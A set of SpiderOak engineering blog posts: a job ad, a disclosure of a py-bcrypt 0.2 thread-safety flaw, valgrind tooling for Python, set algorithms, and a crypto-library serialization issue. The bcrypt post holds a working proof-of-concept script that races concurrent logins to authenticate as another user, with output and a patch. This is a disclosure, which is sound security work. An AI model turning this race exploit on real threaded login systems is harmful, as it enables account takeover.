Conversations about life & privacy in the digital age

Python Web Developer, Kansas City or Remote

SpiderOak seeks to hire a web developer to build our next generation web presence and web applications. You will be working closely with our designers and our CEO, and you’ll get regular code feedback from internal application security teams. Key technologies we use for web development are Python, Django, and HTML5.

Started in 2007, SpiderOak provides desktop, web, and mobile software for backup, sync, and sharing, keeping user data encrypted and private. We provide consumer and enterprise solutions, created our own storage backend for archival data, and run our own data centers. Most of what SpiderOak creates is free and open source software, and most of it is Python. You’ll be expected to have mastery of HTML-related presentation technologies, from HTML layouts with CSS to JavaScript-based UI frameworks and Bootstrap. Prior knowledge of the Django ecosystem of reusable apps would be beneficial but not absolutely required.

SpiderOak is a distributed, virtual-office, work-from-home company. Any developer we hire will have to be a top-notch communicator. They will be expected to reliably show their face around our super-duper IRC channel at some point during typical US business hours (but there is no rigid scheduling) as well as jump in and communicate across our issue tracker, email, and wiki. SpiderOak spans eighteen timezones and communicating via the written word is essential.

If you want to join in on our merry adventure, you will need a functional grasp of English (don’t worry, we have several staff on-board already for whom it’s a second or third language). You may also be expected to occasionally travel (at company expense). Important cities in the SpiderOakVerse are San Francisco, CA, Kansas City, MO, and Chicago, IL (for reference, these three cities make up about half of SpiderOak). A sense of humor is always appreciated and welcome.

Still interested? Send an email to jobs@spideroak.com including “web dev 2013″ in the subject with a little about yourself and your experience to date (a ‘cover letter’ if you will). English only, please. We also will want to see a portfolio of your work. It’s OK if you’re fresh and it’s thin- we want to see what you’re capable of and how you put pages together.

Some of the most useful programmers we’ve known don’t have well representing resumes, so we have no “minimum” requirements for degrees. We’re also super-equal-opportunity: quality design knows no bounds for race, gender, nationality, sexual orientation, species[1], or religion. If you can meet what we need, we’ll do amazing things together, no matter who, what, or where you are.

Footnotes:

1: Giant Pandas will be encouraged because, in the words of our new QA person, “AAAAhhhh-dorable!!!!”

Security Vulnerability in Py-Bcrypt 0.2

This blog post is probably only interesting to programmers. Regular SpiderOak users can safely ignore this article. (It is not related to the SpiderOak backup and sync software.)

There’s a security vulnerability with py-bcrypt.

The vulnerability allows an attacker (“Eve”) to login as any user by making a
login attempt with a bogus password, overlapping in thread execution with the
user’s own login attempt. Typically many such attempts will be needed, but one will
eventually succeed.

This is a synchronization vulnerability with concurrent use of the
encrypted static buffer in bcrypt.c. Only threaded applications should be
vulnerable. It is common to use threads for bcrypt auth since it can cause an
event driven application to block the event loop for an unacceptable time.

I went looking through the py-bcrypt code after noticing suspicious patterns of
auth failures while testing a project using bcrypt.

The vulnerability was added in bcrypt 0.2 which was href="http://www.mindrot.org/projects/py-bcrypt/news/rel02.html">released in
July 2010.

This vulnerability is not present in bcrypt 0.1 because it did not release the
GIL during bcrypt operations.

Prior discovery? Sönke Schau href="https://code.google.com/p/py-bcrypt/issues/detail?id=12">reported a
thread safety bug in this area to the Google Code project back in January 2013.
It seems from the description (i.e. Priority: Medium) that the security
implications were unclear at the time.

Below is a demo exploit, sample output from the demo, a patch to py-bcrypt to mitigate the vulnerability, and output from the demo after patching.

The maintainers published an update within an hour of my initial message (wow!) There’s now a py-bcrypt 0.3 available on Google Code and PyPI.


#!/usr/bin/env python
"""
demo exploit for py-bcrypt 0.2

The demo below includes a server class with one user, alice,
with a bcrypted password.  The server is event driven using
Twisted with bcrypt operations deferred into a thread pool.
Eve tries to login repeatedly with a bogus password while
Alice is also trying to log in.
"""

import time
import random
import sys
import bcrypt
from twisted.internet import reactor, defer
from twisted.python import log
from twisted.internet.threads import deferToThread

# if we instead set this bcrypt work factor to 4 (the minimum) the demo exploit
# succeeds much sooner.  12 is the default.
BCRYPT_LOG_ROUNDS = 12

def salt_and_bcrypt(password):
    "return the salted and bcrypted representation of a password"
    salt = bcrypt.gensalt(BCRYPT_LOG_ROUNDS)
    return bcrypt.hashpw(password, salt)

def check_bcrypt(password, crypted):
    "return boolean, comparing a plain password to a bcrypt stored value"
    check_value = bcrypt.hashpw(password, crypted)
    return check_value == crypted 

def sleep_to_delay_thread(delay):
    "just used to add additional noise into the timing of the thread pool"
    time.sleep(delay)
    return True

class DemoExploitableServer(object):
    """
    Simple server class.  This could be a web server, ftp, RPC, etc.

    The same vulnerability exists if the server is available over a network.
    Here everything happens in one process for brevity.
    """

    users = dict(alice = salt_and_bcrypt("mypassword"))

    def __init__(self, num_busywork_threads):
        self._login_attempt_count = 0
        self.exploited = False
        self.halt = False
        if num_busywork_threads:
            reactor.callLater(0, self._simulate_activity, num_busywork_threads)

    def notify_shutdown(self):
        "notify the server that the event loop is shutting down"
        self.halt = True

    def login(self, username, password):
        """
        make a login attempt to the server.
        Return a Deferred that will be called back with the login result bool
        """

        if self.halt:
            # just ignore forever
            deferred = defer.Deferred()
            return deferred

        self._login_attempt_count += 1

        # show some progress in the log. usually don't get that far.
        if self._login_attempt_count % 1000 == 0:
            log.msg("%d login trials" % ( self._login_attempt_count, ))

        # delayed False on nonexistent user
        if not username in self.users:
            deferred = defer.Deferred()
            reactor.callLater(5, deferred.callback, False)
            return deferred

        return deferToThread(check_bcrypt, password, self.users[username])

    def _simulate_activity(self, amount):
        "start N busy work loops (deferring work to thread pool)"
        for _ in range(amount):
            reactor.callLater(0, self._do_busy_work)

    def _do_busy_work(self):
        "defer a random blocking sleep call to a thread"
        if self.halt:
            return
        delay = 2.0 * random.random()
        deferred = deferToThread(sleep_to_delay_thread, delay)
        deferred.addCallback(self._busy_work_callback)

    def _busy_work_callback(self, _result):
        "repeat the busy work cycle"
        reactor.callLater(0, self._do_busy_work)

class UserBase(object):
    "base for Alice and Eve--users repeatedly trying to login to the server"
    def __init__(self, server):
        self._server = server

    def run(self):
        "start the login trial loop"
        reactor.callLater(0, self.try_login)

    def try_login(self):
        "make a login attempt.  The server will callback with the result"
        deferred = self._server.login(self._username, self._password)
        deferred.addCallback(self._login_callback)
        deferred.addErrback(log.err)

class Alice(UserBase):
    """
    Alice repeatedly tries to login w/ the correct password.
    It's normal that she succeeds, and noteworthy when she fails.
    """
    _username = 'alice'
    _password = 'mypassword'
    def _login_callback(self, result):
        if not result:
            log.msg("alice login failure")
        reactor.callLater(0, self.run)

class Eve(UserBase):
    """
    Eve repeatedly tries to login as Alice w/ a bogus password.
    The exploit is successful when Eve's login is valid.
    """
    _username = 'alice'
    _password = 'WRONG_PASSWORD'
    def _login_callback(self, result):
        if result:
            log.msg("eve login success")
            self._server.exploited = True
            reactor.stop()
        else:
            log.msg("eve login fail")
        reactor.callLater(0, self.run)

def spawn_user(server, user_class):
    """
    create a user instance, and schedule delay calls to the event loop to start the
    instance's login trial loop
    """
    new_user = user_class(server)
    reactor.callLater(0, new_user.run)

def run_exploit_demo():
    """
    setup the demo exploitable server instance and a few user instances trying
    to login.  Manage the event loop startup/shutdown. Report results.

    Return shell exit code: 1 on exploit failure, 0 on success"
    """
    num_alice = 5
    num_eve = 5
    server_busywork_threads = 5

    log.startLogging(sys.stdout)

    server = DemoExploitableServer(server_busywork_threads)

    for _ in range(num_alice):
        spawn_user(server, Alice)

    for _ in range(num_eve):
        spawn_user(server, Eve)

    # timeout after an hour
    def _timeout():
        log.msg("timeout reached")
        reactor.stop()

    reactor.callLater(3600, _timeout)

    reactor.suggestThreadPoolSize(30)

    reactor.addSystemEventTrigger("before", "shutdown", server.notify_shutdown)

    reactor.run()

    # if we get here, Eve has logged in or we have crashed or timed out
    if server.exploited:
        print "EXPLOITED: successful login by Eve as Alice"
        return 0
    else:
        print "NO exploit"
        return 1

if __name__ == '__main__':
    sys.exit(run_exploit_demo())


Here’s sample output, before and after patching.

ubuntu@dev$ /opt/py2.7.vulnerable_bcrypt/bin/python pybcrypt_exploit_poc.py
2013-03-17 18:42:31+0000 [-] Log opened.
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login success
2013-03-17 18:42:33+0000 [-] Main loop terminated.
2013-03-17 18:42:33+0000 [-] EXPLOITED: successful login by Eve as Alice
ubuntu@dev$ /opt/py2.7/bin/python pybcrypt_exploit_poc.py
... [ snip ] ...
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] timeout reached
2013-03-17 19:08:19+0000 [-] Main loop terminated.
2013-03-17 19:08:19+0000 [-] NO exploit

I use C only very occasionally, but in case it’s helpful, here’s my attempt at a resolution patch. (Don’t use this. The patch provided by the maintainers in bcrypt-0.3 looks much more portable!)

diff -r py-bcrypt-0.2/bcrypt/bcrypt.c py-bcrypt-0.2.patched/bcrypt/bcrypt.c
75c75,84
< static char    encrypted[128];
---
> #undef threadlocal
>     #ifdef _ISOC11_SOURCE
>         #define threadlocal _Thread_local
>     #else
>         #define threadlocal __thread
>     #endif
>     /* we would rather blow up at compile time than be without thread safety.
>      * */
>
> static threadlocal char    encrypted[128];

Python is Python is Python…. except when it isn’t Python.

One of the largest factors to recommend dynamic interpreted
languages and runtimes is, of course, memory and object management.
However, when interfacing these to external libraries, the boundary
is crossed from a managed environment to a binary ABI environment,
with all the ‘fun’ that entails. This becomes especially interesting
when your interface is a ‘light’ wrapper that does not protect
against shooting yourself in the foot or insulating you away
from the bugs of that binary ABI.

Awhile back, the excellent
valgrind tool was developed, which
is a dynamic memory and threading debugging tool for Linux
applications. Valgrind becomes an excellent tool for complicated C
and C++ programs. Because valgrind works at the OS/ABI level, it can
be adapted to any environment, however.

Here at SpiderOak we use valgrind when a debugging issue appears
to be involved with any C or C++ library we interface with; the
most frequent case is Qt. When writing an application handling
I/O in real-time from multiple sources, you end up with a sophisticated
flow of code, which makes the output of tools like valgrind difficult
to use. In Python, valgrind has been used as a tool to debug Python
itself, but not necessarily to debug Python applications, as valgrind
won’t tell you what Python code called the C or C++ or other library
code where the bug you’re hunting has appeared.

We have a patch to valgrind and a small wrapper library that lets
you recover this information. You can download this (GPLv3)
at our code page.

To use, you will need to be able to recompile your own valgrind
executable. For us, the Ubuntu gutsy or hardy valgrind source
packages are excellent for this. In our python support for valgrind,
we implement a ‘supplemental stack’ that a running program can use to
notify valgrind of where in your application it’s at, so you can
track what python functions are involved with an issue as well as the
C/C++ library functions. In our example environment, this
information is helpful when your application involves twisted or
pydispatch/louie-powered indirect calls (i.e. via Twisted deferred or
pydispatch/louie signals). We distribute this supplemental stack
patch along with a Cpython wrapper library which valgrind will use to
wray Python stack frames to retrieve the information needed.

After downloading our valgrind-python support patches, and
building libpywrap.so, you can run your Python application with
LD_PRELOAD=libpywrap.so valgrind /path/to/python/interp/using/app.
Valgrind will then give you output corresponding to the python stack
frames and source locations alongside the usual Valgrind stack
output.

This is not a turnkey or very stable solution. We absolutely do
not suggest running it in an untrusted environment. Make sure you’re not
running this with anything involving the opportunity to leak data,
or, a particularly nasty user might crack your box.
That said, valgrind often allows you to shave hours off your
debugging time for tracking down some problems. Now you can shave
hours off your debugging for those problems when they’re in Python,
too.

For those new to valgrind, here’s a short example of how to use this in
Ubuntu, having a download of our valgrind-python-1.0.1.tar.bz2. You should
also have HREF="http://svn.python.org/view/python/branches/release25-maint/Misc/valgrind-python.supp?rev=51333&view=markup">Misc/valgrind-python.supp
from your python source distribution. (Or use our provided link from the python
SVN).

% sudo apt-get build-dep valgrind
% sudo aptitude install fakeroot python2.5-dev
% apt-get source valgrind
% tar xjf valgrind-python-1.0.1.tar.bz2
% # this is where we add our supplemental stack patch for valgrind
% cd valgrind-3.3.0/debian/patches
% cp ../../../valgrind-python-1.0.1/50_sup-stack.dpatch .
% # go ahead and edit this line in the middle of patches if you care
% echo 50_sup-stack >> patches
% cd ../..
% fakeroot ./debian/rules binary
% sudo dpkg -i ../the_valgrind_deb_you_made.deb
% cd ../valgrind-python-1.0.1
% make
% # after make finishes, you should have libpywrap.so in the
valgrind-python dir. This is what you run with
LD_PRELOAD=libpywrap.so valgrind python2.5

And so…

% LD_PRELOAD=$(pwd)/libpywrap.so valgrind
–suppressions=valgrind-python.supp ipython
[various valgrind boilerplate here]
>>> from ctypes import *
>>> class crasher(Union):
… _fields_=[(“x”,c_int),(“y”,c_char_p)]

>>> badptr=crasher()
>>> badptr.x=2
>>> badptr.y[0] # BOOM!

==29497== Python Stack:
==29497== <stdin>:1 <module>
==29497== Invalid read of size 1
==29497== at 0x40239D8: strlen (mc_replace_strmem.c:242)
==29497== by 0x80945A9: PyString_FromString (stringobject.c:112)
==29497== by 0x47F1474: z_get (cfield.c:1341)
==29497== by 0x47ECD0D: CData_get (_ctypes.c:2315)
==29497== by 0x47F0BE9: CField_get (cfield.c:221)
==29497== by 0x808968C: PyObject_GenericGetAttr (object.c:1351)
==29497== by 0x80C7608: PyEval_EvalFrameEx (ceval.c:1990)
==29497== by 0x402773B: PyEval_EvalFrameEx (pywrap.c:62)
==29497== by 0x80CB0D6: PyEval_EvalCodeEx (ceval.c:2836)
==29497== by 0x80CB226: PyEval_EvalCode (ceval.c:494)
==29497== by 0x80EADAF: PyRun_InteractiveOneFlags (pythonrun.c:1273)
==29497== by 0x80EAFD5: PyRun_InteractiveLoopFlags (pythonrun.c:723)
==29497== Address 0×2 is not stack’d, malloc’d or (recently) free’d

With some more configuration work, you will get valgrind
output with useful data for whichever libraries you use, and can tell
what python usage may be tweaking bugs in your non-python libraries.
Good luck!



Set Algebra and Python: Algorithmic Beauty

Having a built-in set data-structure makes certain algorithms so simple to
implement. If you structure your set members in the right way, you can turn
an algorithm that when implemented by comparing flat lists would be
O(n2) (or worse) and turn it into something as beautiful
as (set1 - set2) — set subtraction, which is built right into
Python.

We use just such an algorithm in SpiderOak to detect moves of directories.
The code that crawls a user’s filesystem to find out what’s changed, and
therefore needs to be backed up, produces events like “directory x
deleted” and “new directory y containing files z.” Since we
don’t get actual “move” events, we need to detect them by comparing subtrees
of the user’s filesystem. If there’s a directory structure with enough of the
same files under it, we assume it’s a move.

You can see how finding similar subtrees, when not done intelligently, can
easily have O(n2) complexity. I recently rewrote this
algorithm to utilize the simplicity and built-in optimization of Python’s set
operations. Now the code is not only more clear (and hence easier to
maintain), but the comparison now actually completes within the lifetime of
the universe.

Often people don’t realize that relational databases are based on set
algebra. Programmers used to optimizing SQL queries should feel right at home
optimizing other algorithms using set operations. I think sets are a
tragically under-utilized structure, made so elegant in Python.

Challenges in compatibility

Recently in the SpiderOak application, we fixed a bug relating to
cross-platform compatibility. As some observers have mentioned, we implement
most of our system in Python.

In the Python world, there is an amazing amount of support libraries and
software available, with differing degrees of maturity. Much software is still
only tested in a limited degree of situations. Even in those whom approach
software testing with a comprehensive mindset may not be able to engineer or
have the resources to test the wide variations in which their software may be
deployed. That’s not necessarily their job though. Most Open Source licenses
come with an explicit disclaimer of warranty, after all.

In our case, we ran into a suprise using Python Crypto Toolkit (PCT). PCT
is a lightweight implementation of common crypto primitives in python,
provided as a mixed python/C library. For public key operations, PCT uses an
internal RSA object behind a generic public-key interface. Problem is, it
actually uses 2 different such objects. If there is a C bignum library
available, it uses that (usually GMP), as it provides math operations on large
numbers that are significantly faster than what standard math implementations
usually provide.

There’s just one little problem…

You think this kind of behavior would be handled at run-time since both
variants of the object handle the same internal data, right? Oops. PCT has 2
different object-types, which one is created depends on whether or not a given
install of PCT has the previously mentioned math module available. However,
when you serialize that object (i.e. save it to disk), that entry is saved,
tagged with the classname of the object. Unless you ensure your serializer
knows this, files saved this way (say, crypto keys), will fail to load again
on a platform installed with a non-fastmath version of this library if the
objects were created by the fastmath variant. To do this in PCT, you have to
patch the module after loading it so fastmath objects don’t get created
and tell the serializer that RSAobj and RSAobj_c (the fastmath one) are
really the same. Thankfully, the PCT developer(s) ensured that these objects
serialize the state the same way. Even when you’re thinking ahead, you can
still get suprised.

Long story short, test and audit EVERYTHING, and have someone else look
too! You WILL be suprised.